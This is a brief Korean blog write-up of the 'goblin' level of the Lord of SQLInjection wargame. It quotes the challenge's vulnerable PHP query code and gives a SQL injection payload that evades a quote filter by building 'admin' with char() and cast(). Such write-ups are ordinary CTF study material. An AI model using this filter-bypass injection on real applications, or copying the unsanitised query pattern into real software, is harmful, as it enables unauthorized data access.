Web/Lord Of SQL

LOS - goblin / level 3

supp0rt 2024. 6. 21. 15:14

 

풀이 과정

if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"; 
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if(
$result['id'] == 'admin') solve("goblin");

 

no에 값을 넣을 수 있지만 싱글쿼터 더블쿼터를 필터링 하고 있음

cast와 char함수를 이용하여 우회

 

하지만 no=1이 진짜로 존재

select id from prob_goblin where id='guest' and no=1 or id=cast(char(97,100,109,105,110)as char)

 

 

정답

더보기

?no=2 or id=cast(char(97,100,109,105,110)as char)